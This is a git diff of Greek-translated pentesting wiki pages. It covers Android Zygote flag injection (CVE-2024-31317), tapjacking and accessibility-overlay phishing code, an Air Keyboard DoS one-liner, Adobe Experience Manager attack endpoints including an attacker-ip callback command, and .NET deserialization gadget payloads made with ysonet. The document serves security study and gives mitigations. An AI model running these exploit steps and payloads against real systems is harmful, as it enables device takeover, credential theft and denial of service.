* **Ευπάθεια:** Ακατάλληλη επικύρωση των `--runtime-flags` που παρέχονται μέσω της υποδοχής εντολών του Zygote επιτρέπει σε έναν επιτιθέμενο που μπορεί να φτάσει στο `system_server` (για παράδειγμα μέσω της προνομιακής `adb` shell που κατέχει την άδεια `WRITE_SECURE_SETTINGS`) να εισάγει επιπλέον παραμέτρους. Όταν η κατασκευασμένη εντολή αναπαράγεται από το `system_server`, η εφαρμογή-στόχος δημιουργείται ως _αποσφαλματώσιμη_ και με ένα νήμα JDWP να ακούει. Το ζήτημα παρακολουθείται ως **CVE-2024-31317** και διορθώθηκε στο Android Security Bulletin του Ιουνίου 2024.
* **Επίπτωση:** Πλήρης πρόσβαση ανάγνωσης/εγγραφής στον ιδιωτικό κατάλογο δεδομένων **οποιασδήποτε** εφαρμογής (συμπεριλαμβανομένων των προνομιακών όπως το `com.android.settings`), κλοπή διαπιστευτηρίων, παράκαμψη MDM, και σε πολλές περιπτώσεις άμεσος δρόμος για κλιμάκωση προνομίων εκμεταλλευόμενος τα εξαγόμενα IPC endpoints της τώρα αποσφαλματώσιμης διαδικασίας.
* **Επίπτωση:** Πλήρης πρόσβαση ανάγνωσης/εγγραφής στον ιδιωτικό κατάλογο δεδομένων **οποιασδήποτε** εφαρμογής (συμπεριλαμβανομένων των προνομιακών όπως το `com.android.settings`), κλοπή διαπιστευτηρίων, παράκαμψη MDM, και σε πολλές περιπτώσεις άμεσος δρόμος για κλιμάκωση προνομίων εκμεταλλευόμενοι τα εξαγόμενα IPC endpoints της τώρα αποσφαλματώσιμης διαδικασίας.
* **Επηρεαζόμενες εκδόσεις:** Android 9 έως 14 πριν από το επίπεδο επιδιόρθωσης του Ιουνίου 2024.
## Γρήγορο PoC
@ -107,7 +107,7 @@ adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
```
> Η κατασκευασμένη τιμή στο βήμα 1 σπάει τον αναλυτή από την "γρήγορη διαδρομή" και προσθέτει μια δεύτερη συνθετική εντολή όπου `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) γίνεται αποδεκτή σαν να είχε παρασχεθεί από το πλαίσιο. Μόλις η εφαρμογή ξεκινήσει, ανοίγει ένα JDWP socket και είναι δυνατές οι κανονικές τεχνικές δυναμικού debugging (αντικατάσταση μεθόδου, patching μεταβλητών, ζωντανή ένεση Frida, κ.λπ.) **χωρίς να τροποποιηθεί το APK ή η εικόνα εκκίνησης της συσκευής**.
> Η κατασκευασμένη τιμή στο βήμα 1 σπάει τον αναλυτή από την "γρήγορη διαδρομή" και προσθέτει μια δεύτερη συνθετική εντολή όπου `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) γίνεται αποδεκτή σαν να είχε παρασχεθεί από το πλαίσιο. Μόλις η εφαρμογή ξεκινήσει, ανοίγει ένα socket JDWP και είναι δυνατές οι κανονικές τεχνικές δυναμικού debugging (αντικατάσταση μεθόδων, patching μεταβλητών, ζωντανή ένεση Frida, κ.λπ.) **χωρίς να τροποποιηθεί το APK ή η εικόνα εκκίνησης της συσκευής**.
## Ανίχνευση & Μετριασμός

View File

@ -2,6 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## **Βασικές Πληροφορίες**
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\
@ -9,7 +10,7 @@
### Ανίχνευση
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτή την επίθεση, θα πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο android manifest (σημειώστε ότι μια δραστηριότητα με intent-filter εξάγεται αυτόματα από προεπιλογή). Μόλις βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν οποιαδήποτε άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτή την άδεια**.
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτή την επίθεση, θα πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο android manifest (σημειώστε ότι μια δραστηριότητα με intent-filter εξάγεται αυτόματα από προεπιλογή). Μόλις βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν οποιαδήποτε άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί και αυτή την άδεια**.
Μπορείτε επίσης να ελέγξετε την ελάχιστη έκδοση SDK της εφαρμογής, ελέγχοντας την τιμή του **`android:minSdkVersion`** στο αρχείο **`AndroidManifest.xml`**. Αν η τιμή είναι **χαμηλότερη από 30**, η εφαρμογή είναι ευάλωτη σε Tapjacking.
@ -21,12 +22,12 @@
#### `filterTouchesWhenObscured`
Αν **`android:filterTouchesWhenObscured`** είναι ρυθμισμένο σε **`true`**, το `View` δεν θα λαμβάνει επαφές όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο.
Αν **`android:filterTouchesWhenObscured`** είναι ρυθμισμένο σε **`true`**, η `View` δεν θα λαμβάνει επαφές όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο.
#### **`setFilterTouchesWhenObscured`**
Η ιδιότητα **`setFilterTouchesWhenObscured`** ρυθμισμένη σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας αν η έκδοση Android είναι χαμηλότερη.\
Αν ρυθμιστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα **αν καλύπτεται**:
Αν ρυθμιστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να **απενεργοποιηθεί αυτόματα αν είναι καλυμμένο**:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -69,7 +70,7 @@ android:filterTouchesWhenObscured="true">
### Πώς λειτουργεί
1. Το κακόβουλο APK ζητά την εξαιρετικά ευαίσθητη άδεια `BIND_ACCESSIBILITY_SERVICE`, συνήθως κρύβοντας το αίτημα πίσω από ένα ψεύτικο διάλογο Google/Chrome/προβολέα PDF.
2. Μόλις ο χρήστης ενεργοποιήσει την υπηρεσία, το κακόβουλο λογισμικό προγραμματισμένα προσομοιώνει τα κλικ που απαιτούνται για να χορηγήσει επιπλέον επικίνδυνες άδειες (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
3. Μια **WebView** φουσκώνεται και προστίθεται στον διαχειριστή παραθύρων χρησιμοποιώντας τον τύπο παραθύρου **`TYPE_ACCESSIBILITY_OVERLAY`**. Η επικάλυψη μπορεί να αποδοθεί εντελώς αδιαφανής ή ημι-διαφανής και μπορεί να χαρακτηριστεί ως *“μέσω”* έτσι ώστε οι αρχικές αφές να παραδίδονται ακόμα στη δραστηριότητα στο παρασκήνιο (έτσι η συναλλαγή συμβαίνει πραγματικά ενώ το θύμα βλέπει μόνο τη φόρμα phishing).
3. Μια **WebView** φουσκώνεται και προστίθεται στον διαχειριστή παραθύρων χρησιμοποιώντας τον τύπο παραθύρου **`TYPE_ACCESSIBILITY_OVERLAY`**. Η επικάλυψη μπορεί να αποδοθεί εντελώς αδιαφανής ή ημι-διαφανής και μπορεί να σημειωθεί ως *“μέσω”* έτσι ώστε οι αρχικές αφές να παραδίδονται ακόμα στη δραστηριότητα στο παρασκήνιο (έτσι η συναλλαγή συμβαίνει πραγματικά ενώ το θύμα βλέπει μόνο τη φόρμα phishing).
```java
WebView phishingView = new WebView(getApplicationContext());
phishingView.getSettings().setJavaScriptEnabled(true);
@ -94,11 +95,11 @@ wm.addView(phishingView, lp);
### Ανίχνευση & Μετριασμός
* Ελέγξτε τη λίστα των εγκατεστημένων εφαρμογών με `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
* Από την πλευρά της εφαρμογής (τράπεζα / πορτοφόλι):
- Ενεργοποιήστε **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) σε ευαίσθητες προβολές για να αποκλείσετε μη υπηρεσίες Play-Store.
- Ενεργοποιήστε **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) σε ευαίσθητες προβολές για να αποκλείσετε υπηρεσίες μη Play-Store.
- Συνδυάστε με `setFilterTouchesWhenObscured(true)` και `FLAG_SECURE`.
* Σκληραγώγηση συστήματος:
- Απενεργοποιήστε *Εγκατάσταση από Άγνωστες Πηγές* & *Προσβασιμότητα για μη αξιόπιστες εφαρμογές*.
- Επιβάλετε PlayProtect & ενημερωμένες συσκευές.
- Επιβάλλετε PlayProtect & ενημερωμένες συσκευές.
## Αναφορές
* [Bitsight ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)

View File

@ -10,9 +10,9 @@
* **≥ 1.0.5 (Ιούνιος 2025)** **WebSocket** listener στην *ίδια* θύρα (**8888**) που αναλύει **JSON** κλειδιά όπως `{"type":1,"text":"…"}`.
Οποιαδήποτε συσκευή στο ίδιο Wi-Fi / υποδίκτυο μπορεί επομένως να **εισάγει αυθαίρετη είσοδο πληκτρολογίου στο τηλέφωνο του θύματος, επιτυγχάνοντας πλήρη απομακρυσμένη αλληλεπίδραση**.
Μια συνοδευτική έκδοση Android ακούει σε **port 55535**. Εκτελεί μια αδύναμη χειραψία AES-ECB, αλλά τα κακοσχεδιασμένα δεδομένα προκαλούν ακόμα μια **μη διαχειριζόμενη εξαίρεση μέσα στο OpenSSL**, καταρρίπτοντας την υπηρεσία στο παρασκήνιο (**DoS**).
Μια συνοδευτική έκδοση Android ακούει σε **port 55535**. Εκτελεί μια αδύναμη χειραψία AES-ECB αλλά η κατασκευασμένη σκουπίδια προκαλεί ακόμα μια **μη διαχειριζόμενη εξαίρεση μέσα στο OpenSSL**, καταρρίπτοντας την υπηρεσία παρασκηνίου (**DoS**).
> Η ευπάθεια είναι **ακόμα μη επιδιορθωμένη την ώρα της συγγραφής (Ιούλιος 2025)** και η εφαρμογή παραμένει διαθέσιμη στο App Store.
> Η ευπάθεια είναι **ακόμα μη επιδιορθωμένη κατά τη στιγμή της συγγραφής (Ιούλιος 2025)** και η εφαρμογή παραμένει διαθέσιμη στο App Store.
---
@ -117,9 +117,9 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
## 5. Σχετικές Εφαρμογές Ένα Επαναλαμβανόμενο Αντι-Πρότυπο
Το Air Keyboard είναι **όχι μια απομονωμένη περίπτωση**. Άλλες κινητές “remote keyboard/mouse” εφαρμογές έχουν αποσταλεί με την ίδια ακριβώς αδυναμία:
Το Air Keyboard είναι **όχι μια απομονωμένη περίπτωση**. Άλλες κινητές “υπηρεσίες απομακρυσμένου πληκτρολογίου/ποντικιού” έχουν αποσταλεί με την ίδια ακριβώς αδυναμία:
* **Telepad ≤ 1.0.7** CVE-2022-45477/78 επιτρέπουν μη αυθεντικοποιημένη εκτέλεση εντολών και καταγραφή πλήκτρων σε απλό κείμενο.
* **Telepad ≤ 1.0.7** CVE-2022-45477/78 επιτρέπουν την εκτέλεση εντολών χωρίς αυθεντικοποίηση και καταγραφή πλήκτρων σε απλό κείμενο.
* **PC Keyboard ≤ 30** CVE-2022-45479/80 μη αυθεντικοποιημένη RCE & υποκλοπή κυκλοφορίας.
* **Lazy Mouse ≤ 2.0.1** CVE-2022-45481/82/83 προεπιλεγμένο-χωρίς-κωδικό, αδύναμος κωδικός PIN brute-force και διαρροή σε καθαρό κείμενο.
@ -131,7 +131,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
1. **Καμία έλεγχο προέλευσης / ακεραιότητας** σε εισερχόμενα πλαίσια (iOS).
2. **Κακή χρήση κρυπτογραφίας** (στατικός κωδικός, ECB, έλλειψη επικύρωσης μήκους) και **έλλειψη χειρισμού εξαιρέσεων** (Android).
3. **Δικαιώματα Τοπικού Δικτύου που παραχωρούνται από τον χρήστη ≠ ασφάλεια** το iOS ζητά συγκατάθεση κατά την εκτέλεση για κυκλοφορία LAN, αλλά αυτό δεν υποκαθιστά την κατάλληλη αυθεντικοποίηση.
3. **Δικαιώματα Τοπικού Δικτύου που παραχωρούνται από τον χρήστη ≠ ασφάλεια** το iOS ζητά συγκατάθεση κατά την εκτέλεση για κυκλοφορία LAN, αλλά δεν υποκαθιστά την κατάλληλη αυθεντικοποίηση.
---
@ -140,7 +140,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
Συστάσεις για προγραμματιστές:
* Δέστε τον ακροατή σε **`127.0.0.1`** και σήρατε μέσω **mTLS** ή **Noise XX** αν χρειάζεται απομακρυσμένος έλεγχος.
* Παράγετε **μυστικά ανά συσκευή κατά την εκκίνηση** (π.χ., QR code ή Pairing PIN) και επιβάλετε *αμοιβαία* αυθεντικοποίηση πριν την επεξεργασία εισόδου.
* Παράγετε **μυστικά ανά συσκευή κατά την εκκίνηση** (π.χ., QR code ή PIN ζευγαρώματος) και επιβάλετε *αμοιβαία* αυθεντικοποίηση πριν την επεξεργασία εισόδου.
* Υιοθετήστε το **Apple Network Framework** με *NWListener* + TLS αντί για ακατέργαστους υποδοχείς.
* Εφαρμόστε **έλεγχοι εγκυρότητας μήκους** και δομημένο χειρισμό εξαιρέσεων κατά την αποκρυπτογράφηση ή αποκωδικοποίηση πλαισίων.
@ -148,7 +148,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
* **Κυνήγι δικτύου:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ή φίλτρο Wireshark `tcp.port == 8888`.
* **Επιθεώρηση κατά την εκτέλεση:** Σενάριο Frida που συνδέει `socket()`/`NWConnection` για να καταγράψει απροσδόκητους ακροατές.
* **Αναφορά Ιδιωτικότητας Εφαρμογών iOS (Ρυθμίσεις ▸ Ιδιωτικότητα & Ασφάλεια ▸ Αναφορά Ιδιωτικότητας Εφαρμογών)** αναδεικνύει εφαρμογές που επικοινωνούν με διευθύνσεις LAN χρήσιμο για την ανίχνευση κακόβουλων υπηρεσιών.
* **Αναφορά Ιδιωτικότητας Εφαρμογών iOS (Ρυθμίσεις ▸ Ιδιωτικότητα & Ασφάλεια ▸ Αναφορά Ιδιωτικότητας Εφαρμογής)** αναδεικνύει εφαρμογές που επικοινωνούν με διευθύνσεις LAN χρήσιμο για την ανίχνευση κακόβουλων υπηρεσιών.
* **Mobile EDRs** μπορούν να προσθέσουν απλούς κανόνες Yara-L για τα κλειδιά JSON `"selectionStart"`, `"selectionEnd"` μέσα σε καθαρό κείμενο TCP payloads στην πόρτα 8888.
---

View File

@ -17,7 +17,7 @@ X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
Άλλοι γρήγοροι δείκτες:
* `/etc.clientlibs/` στατική διαδρομή παρούσα (επιστρέφει JS/CSS).
* `/etc.clientlibs/` στατικός δρόμος παρών (επιστρέφει JS/CSS).
* `/libs/granite/core/content/login.html` σελίδα σύνδεσης με την μπάντα “Adobe Experience Manager”.
* `</script><!--/* CQ */-->` σχόλιο στο κάτω μέρος του HTML.
@ -25,28 +25,28 @@ X-Vary: Accept-Encoding
## 2. Υψηλής αξίας μη αυθεντικοποιημένα endpoints
Διαδρομή | Τι παίρνετε | Σημειώσεις
Δρόμος | Τι παίρνετε | Σημειώσεις
---- | ------------- | -----
`/.json`, `/.1.json` | JCR κόμβοι μέσω **DefaultGetServlet** | Συχνά μπλοκαρισμένο, αλλά *Dispatcher bypass* (βλ. παρακάτω) λειτουργεί.
`/bin/querybuilder.json?path=/` | QueryBuilder API | Διαρροή δέντρου σελίδας, εσωτερικές διαδρομές, ονόματα χρηστών.
`/bin/querybuilder.json?path=/` | QueryBuilder API | Διαρροή δέντρου σελίδας, εσωτερικών δρόμων, ονομάτων χρηστών.
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix κονσόλα | 403 από προεπιλογή; αν εκτεθεί & βρεθούν διαπιστευτήρια ⇒ bundle-upload RCE.
`/crx/packmgr/index.jsp` | Package Manager | Επιτρέπει αυθεντικοποιημένα πακέτα περιεχομένου → JSP payload upload.
`/crx/packmgr/index.jsp` | Package Manager | Επιτρέπει αυθεντικοποιημένα πακέτα περιεχομένου → ανέβασμα JSP payload.
`/etc/groovyconsole/**` | AEM Groovy Console | Αν εκτεθεί → αυθαίρετη εκτέλεση Groovy / Java.
`/libs/cq/AuditlogSearchServlet.json` | Αρχεία καταγραφής ελέγχου | Διαρροή πληροφοριών.
`/libs/cq/ui/content/dumplibs.html` | Dump ClientLibs | XSS vector.
### Τέχνασμα παράκαμψης Dispatcher
Οι περισσότερες παραγωγικές τοποθεσίες βρίσκονται πίσω από τον *Dispatcher* (αντίστροφος διακομιστής μεσολάβησης). Οι κανόνες φίλτρου του μπορούν να παρακαμφθούν προσθέτοντας μια επιτρεπόμενη στατική επέκταση **μετά από ένα ερωτηματικό ή κωδικοποιημένη νέα γραμμή**:
Οι περισσότερες παραγωγικές τοποθεσίες βρίσκονται πίσω από τον *Dispatcher* (αντίστροφος διακομιστής). Οι κανόνες φίλτρου του μπορούν να παρακαμφθούν προσθέτοντας μια επιτρεπόμενη στατική επέκταση **μετά από ένα ερωτηματικό ή κωδικοποιημένο νέο γραμμή**:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
Μια μόνο αίτηση όπως παραπάνω αποκαλύπτει συχνά κόμβους προφίλ χρηστών με διευθύνσεις email. Οι P-T Partners δημοσίευσαν καλή καθοδήγηση σχετικά με αυτή την αδυναμία. 【】
Μια μόνο αίτηση όπως παραπάνω αποκαλύπτει συχνά κόμβους προφίλ χρηστών με διευθύνσεις email. Οι P-T Partners δημοσίευσαν καλές οδηγίες σχετικά με αυτή την αδυναμία. 【】
---
## 3. Κοινές κακοδιαμορφώσεις (ακόμα ζωντανές το 2025)
1. **Ανώνυμο POST servlet** `POST /.json` με `:operation=import` σας επιτρέπει να φυτέψετε νέους κόμβους JCR. Η μπλοκάρισμα του `*.json` POST στον Dispatcher το διορθώνει. 【】
1. **Ανώνυμος POST servlet** `POST /.json` με `:operation=import` σας επιτρέπει να φυτέψετε νέους κόμβους JCR. Η μπλοκάρισμα του `*.json` POST στον Dispatcher το διορθώνει. 【】
2. **Προφίλ χρηστών προσβάσιμα από όλους** η προεπιλεγμένη ACL παραχωρεί `jcr:read` στο `/home/users/**/profile/*` σε όλους.
3. **Προεπιλεγμένα διαπιστευτήρια** `admin:admin`, `author:author`, `replication:replication`.
4. **WCMDebugFilter** ενεργοποιημένο ⇒ αντανάκλαση XSS μέσω `?debug=layout` (CVE-2016-7882, ακόμα βρέθηκε σε παλιές εγκαταστάσεις 6.4).
@ -106,7 +106,7 @@ python3 aem_hacker.py -u https://target --host attacker-ip
1. Διατηρήστε την έκδοση στην **τελευταία σωρευτική υπηρεσία** (από Ιούλιο 2025: 6.5.22).
2. Αφαιρέστε/περιστρέψτε τους προεπιλεγμένους λογαριασμούς; επιβάλετε SSO/SAML.
3. Σφίξτε τους **φίλτρους Dispatcher** απορρίψτε `;`, κωδικοποιημένες νέες γραμμές και `*.json` ή `*.querybuilder.json` για ανώνυμους χρήστες.
3. Σφίξτε τους **φίλτρους Dispatcher** απορρίψτε `;`, κωδικοποιημένες νέες γραμμές, και `*.json` ή `*.querybuilder.json` για ανώνυμους χρήστες.
4. Απενεργοποιήστε ή προστατέψτε τις κονσόλες (`/system/console`, `/crx/*`, `/etc/groovyconsole`) με λίστες επιτρεπόμενων IP.
5. Εφαρμόστε το πακέτο *Anonymous Permission Hardening* που παρέχεται από την Adobe.

View File

@ -7,12 +7,12 @@
## ObjectDataProvider Gadget
Από την τεκμηρίωση: _η κλάση ObjectDataProvider περιτυλίγει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως πηγή δέσμευσης_.\
Ναι, είναι μια περίεργη εξήγηση, ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να **περιτυλίξετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετους παραμέτρους,** και στη συνέχεια **να χρησιμοποιήσετε το MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου που δηλώνεται χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
Ναι, είναι μια περίεργη εξήγηση, ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να **περιτυλίξετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετες παραμέτρους,** και στη συνέχεια **να χρησιμοποιήσετε το MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου που δηλώνεται χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
Επομένως, το αυθαίρετο **αντικείμενο** θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους ενώ αποσυμπιέζεται.**
### **Πώς είναι αυτό δυνατό**
Ο **χώρος ονομάτων System.Windows.Data**, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.
Ο **System.Windows.Data** χώρος ονομάτων, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.
Χρησιμοποιώντας [**dnSpy**](https://github.com/0xd4d/dnSpy) μπορείτε να **εξετάσετε τον κώδικα** της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
@ -22,7 +22,7 @@
![](<../../images/image (319).png>)
Εντάξει, ας συνεχίσουμε να δούμε τι κάνει το `this.BeginQuery()`. Το `BeginQuery` έχει παρακαμφθεί από το `ObjectDataProvider` και αυτό είναι που κάνει:
Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει το `this.BeginQuery()`. Το `BeginQuery` έχει παρακαμφθεί από το `ObjectDataProvider` και αυτό είναι που κάνει:
![](<../../images/image (345).png>)
@ -52,11 +52,11 @@ myODP.MethodName = "Start";
}
}
```
Σημειώστε ότι πρέπει να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ προκειμένου να φορτωθεί το `System.Windows.Data`
Σημειώστε ότι πρέπει να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ προκειμένου να φορτώσετε `System.Windows.Data`
## ExpandedWrapper
Χρησιμοποιώντας την προηγούμενη εκμετάλλευση, θα υπάρχουν περιπτώσεις όπου το **αντικείμενο** θα **αποσυμπιεστεί ως** μια _**ObjectDataProvider**_ παρουσία (για παράδειγμα στην ευπάθεια DotNetNuke, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποσυμπιέστηκε χρησιμοποιώντας `GetType`). Στη συνέχεια, θα έχει **καμία γνώση του τύπου του αντικειμένου που είναι περιτυλιγμένο** στην _ObjectDataProvider_ παρουσία (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με την ευπάθεια DotNetNuke εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Χρησιμοποιώντας την προηγούμενη εκμετάλλευση, θα υπάρχουν περιπτώσεις όπου το **object** θα **αποσυμπιεστεί ως** μια _**ObjectDataProvider**_ παρουσία (για παράδειγμα στην ευπάθεια DotNetNuke, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποσυμπιέστηκε χρησιμοποιώντας `GetType`). Στη συνέχεια, θα έχει **καμία γνώση του τύπου του αντικειμένου που είναι περιτυλιγμένο** στην _ObjectDataProvider_ παρουσία (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με την ευπάθεια DotNetNuke εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Αυτή η κλάση επιτρέπει να **καθορίσετε τους τύπους αντικειμένων των αντικειμένων που είναι ενσωματωμένα** σε μια δεδομένη παρουσία. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να ενσωματώσει ένα αντικείμενο πηγής (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **τυλίξουμε το _ObjectDataProvider_** μέσα σε μια **_ExpandedWrapper_** παρουσία και **όταν αποσυμπιεστεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **λειτουργία** που υποδεικνύεται στο _**MethodName**_.
@ -186,14 +186,14 @@ TypeNameHandling = TypeNameHandling.Auto
```
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από τις ΠΟΛΛΕΣ αλυσίδες gadgets που μπορούν να καταχραστούν όταν μια εφαρμογή εκτελεί **μη ασφαλή .NET deserialization**. Σύγχρονα εργαλεία red-team όπως το **[YSoNet](https://github.com/irsdl/ysonet)** (και το παλαιότερο [ysoserial.net](https://github.com/pwntester/ysoserial.net)) αυτοματοποιούν τη δημιουργία **έτοιμων προς χρήση κακόβουλων γραφημάτων αντικειμένων** για δεκάδες gadgets και μορφές serialization.
Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από τις ΠΟΛΛΕΣ αλυσίδες gadget που μπορούν να εκμεταλλευτούν όταν μια εφαρμογή εκτελεί **μη ασφαλή .NET deserialization**. Σύγχρονα εργαλεία red-team όπως το **[YSoNet](https://github.com/irsdl/ysonet)** (και το παλαιότερο [ysoserial.net](https://github.com/pwntester/ysoserial.net)) αυτοματοποιούν τη δημιουργία **έτοιμων προς χρήση κακόβουλων γραφημάτων αντικειμένων** για δεκάδες gadgets και μορφές serialization.
Παρακάτω είναι μια συμπυκνωμένη αναφορά των πιο χρήσιμων αλυσίδων που περιλαμβάνονται στο *YSoNet* μαζί με μια γρήγορη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Διαφθείρει την εγγραφή `DelegateSerializationHolder` έτσι ώστε, μόλις υλοποιηθεί, ο delegate να δείχνει σε *οποιαδήποτε* μέθοδο που παρέχεται από τον επιτιθέμενο (π.χ. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Καταχράται το `System.Workflow.ComponentModel.ActivitySurrogateSelector` για να *παρακάμψει το φιλτράρισμα τύπων .NET ≥4.8* και να καλέσει απευθείας τον **κατασκευαστή** μιας παρεχόμενης κλάσης ή να **συγκεντρώσει** ένα αρχείο C# εν κινήσει | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **ActivitySurrogateSelector** | Εκμεταλλεύεται το `System.Workflow.ComponentModel.ActivitySurrogateSelector` για να *παρακάμψει το φιλτράρισμα τύπων .NET ≥4.8* και να καλέσει απευθείας τον **κατασκευαστή** μιας παρεχόμενης κλάσης ή να **συγκεντρώσει** ένα αρχείο C# εν κινήσει | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Εκμεταλλεύεται την **παλαιά XML** αναπαράσταση του `System.Data.DataSet` για να δημιουργήσει αυθαίρετους τύπους γεμίζοντας τα πεδία `<ColumnMapping>` / `<DataType>` (προαιρετικά προσποιούμενος τη βιβλιοθήκη με `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Σε εκτελέσιμα περιβάλλοντα WPF (> .NET 5) αλυσίδες property getters μέχρι να φτάσει στο `System.CodeDom.Compiler.CompilerResults`, στη συνέχεια *συγκεντρώνει* ή *φορτώνει* μια DLL που παρέχεται με `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
